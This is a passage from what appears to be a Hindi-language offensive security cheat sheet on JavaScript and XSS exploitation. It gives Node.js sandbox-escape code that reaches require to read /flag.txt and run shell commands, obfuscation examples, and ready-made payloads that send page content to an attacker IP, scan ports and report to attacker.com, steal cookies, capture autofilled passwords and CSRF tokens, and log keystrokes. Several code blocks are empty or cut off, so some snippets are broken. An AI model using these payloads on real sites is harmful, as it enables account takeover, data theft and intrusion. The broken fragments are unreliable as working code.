लेख**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves) में) तो "कुछ भी" से उपयोगी ऑब्जेक्ट्स उत्पन्न करना संभव है ताकि मनमाने अविश्वसनीय कोड के निष्पादन का दुरुपयोग किया जा सके: - import() का उपयोग करके ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` - `require` को अप्रत्यक्ष रूप से एक्सेस करना [इसके अनुसार](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) मॉड्यूल को Node.js द्वारा एक फ़ंक्शन के भीतर लपेटा जाता है, इस तरह: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code }) ``` इसलिए, यदि उस मॉड्यूल से हम **दूसरी फ़ंक्शन को कॉल कर सकते हैं**, तो उस फ़ंक्शन से **`require`** तक पहुँचने के लिए `arguments.callee.caller.arguments[1]` का उपयोग करना संभव है: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( "/flag.txt", "utf8" ) })() ``` पिछले उदाहरण की तरह, **त्रुटि हैंडलर्स** का उपयोग करके **मॉड्यूल** के **wrapper** तक पहुँचने और **`require`** फ़ंक्शन प्राप्त करना संभव है: ```javascript try { null.f() } catch (e) { TypeError = e.constructor } Object = {}.constructor String = "".constructor Error = TypeError.prototype.__proto__.constructor function CustomError() { const oldStackTrace = Error.prepareStackTrace try { Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace Error.captureStackTrace(this) this.stack } finally { Error.prepareStackTrace = oldStackTrace } } function trigger() { const err = new CustomError() console.log(err.stack[0]) for (const x of err.stack) { // use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter const fn = x.getFunction() console.log(String(fn).slice(0, 200)) console.log(fn?.arguments) console.log("=".repeat(40)) if ((args = fn?.arguments)?.length > 0) { req = args[1] console.log(req("child_process").execSync("id").toString()) } } } trigger() ``` ### Obfuscation & Advanced Bypass - **एक पृष्ठ में विभिन्न ओबफस्केशन:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) - [http://www.jsfuck.com/](http://www.jsfuck.com) - अधिक जटिल JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) ```javascript //Katana ``` ```javascript //JJencode ``` ```javascript //JSFuck ``` ```javascript //aaencode ゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"] o = ゚ー゚ = _ = 3 c = ゚Θ゚ = ゚ー゚ - ゚ー゚ ゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o) ゚Д゚ = { ゚Θ゚: "_", ゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚], ゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)], ゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚], } ゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o] ゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚] ゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚] ゚o゚ = ゚Д゚["c"] + ゚Д゚["o"] + (゚ω゚ノ + "_")[゚Θ゚] + ((゚ω゚ノ == 3) + "_")[゚ー゚] + (゚Д゚ + "_")[゚ー゚ + ゚ー゚] + ((゚ー゚ == 3) + "_")[゚Θ゚] + ((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] + ゚Д゚["c"] + (゚Д゚ + "_")[゚ー゚ + ゚ー゚] + ゚Д゚["o"] + ((゚ー゚ == 3) + "_")[゚Θ゚] ゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚] ゚ε゚ = ((゚ー゚ == 3) + "_")[゚Θ゚] + ゚Д゚.゚Д゚ノ + (゚Д゚ + "_")[゚ー゚ + ゚ー゚] + ((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] + ((゚ー゚ == 3) + "_")[゚Θ゚] + (゚ω゚ノ + "_")[゚Θ゚] ゚ー゚ += ゚Θ゚ ゚Д゚[゚ε゚] = "\\" ゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)] o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o] ゚Д゚[゚o゚] = '"' ゚Д゚["_"]( ゚Д゚["_"]( ゚ε゚ + ゚Д゚[゚o゚] + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + (゚ー゚ + ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ゚ー゚ + ゚Д゚[゚ε゚] + (゚ー゚ + ゚Θ゚) + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚ー゚ + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚Θ゚ + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + (゚ー゚ + ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + (゚ー゚ + (o ^ _ ^ o)) + ゚Д゚[゚ε゚] + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚ー゚ + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚Θ゚ + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) - ゚Θ゚) + (o ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + (o ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚ー゚ + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + (゚ー゚ + ゚Θ゚) + ゚Θ゚ + ゚Д゚[゚o゚] )(゚Θ゚) )("_") ``` ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` ## XSS सामान्य पेलोड ### 1 में कई पेलोड {{#ref}} steal-info-js.md {{#endref}} ### आईफ्रेम ट्रैप उपयोगकर्ता को एक आईफ्रेम से बाहर निकले बिना पृष्ठ में नेविगेट करने के लिए मजबूर करें और उनकी क्रियाओं (फॉर्म में भेजी गई जानकारी सहित) को चुराएं: {{#ref}} ../iframe-traps.md {{#endref}} ### कुकीज़ प्राप्त करें ```javascript /?c="+document.cookie> ``` > [!NOTE] > यदि HTTPOnly ध्वज कुकी में सेट है, तो आप **JavaScript से कुकीज़ तक पहुँच नहीं पाएंगे**। लेकिन यहाँ आपके पास [इस सुरक्षा को बायपास करने के कुछ तरीके हैं](../hacking-with-cookies/#httponly) यदि आप भाग्यशाली हैं। ### पृष्ठ सामग्री चुराना ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8" var attacker = "http://10.10.14.8/exfil" var xhr = new XMLHttpRequest() xhr.onreadystatechange = function () { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open("GET", url, true) xhr.send(null) ``` ### आंतरिक IP खोजें ```html ``` ### पोर्ट स्कैनर (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### पोर्ट स्कैनर (वेबसोकेट्स) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### ऑटो-फिल पासवर्ड कैप्चर ```javascript Username:
Password:
``` जब भी पासवर्ड फ़ील्ड में कोई डेटा डाला जाता है, उपयोगकर्ता नाम और पासवर्ड हमलावर के सर्वर पर भेजा जाता है, भले ही क्लाइंट एक सहेजा हुआ पासवर्ड चुनता है और कुछ नहीं लिखता है, क्रेडेंशियल्स को एक्स-फिल्ट्रेट किया जाएगा। ### कीलॉगर बस गिटहब पर खोजते समय मैंने कुछ अलग-अलग कीलॉगर पाए: - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) - आप metasploit `http_javascript_keylogger` का भी उपयोग कर सकते हैं ### CSRF टोकन चुराना ```javascript ``` ### PostMessage संदेशों की चोरी ```markup ``` ### सेवा कार्यकर्ताओं का दुरुपयोग {{#ref}} abusing-service-workers.md {{#endref}} ### शैडो डोम तक पहुँच {{#ref}} shadow-dom.md {{#endref}} ### पॉलीग्लॉट्स {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}} ### ब्लाइंड XSS पेलोड्स आप इसका भी उपयोग कर सकते हैं: [https://xsshunter.com/](https://xsshunter.com) ```markup "> "> >
Click Me For An Awesome Time "> ">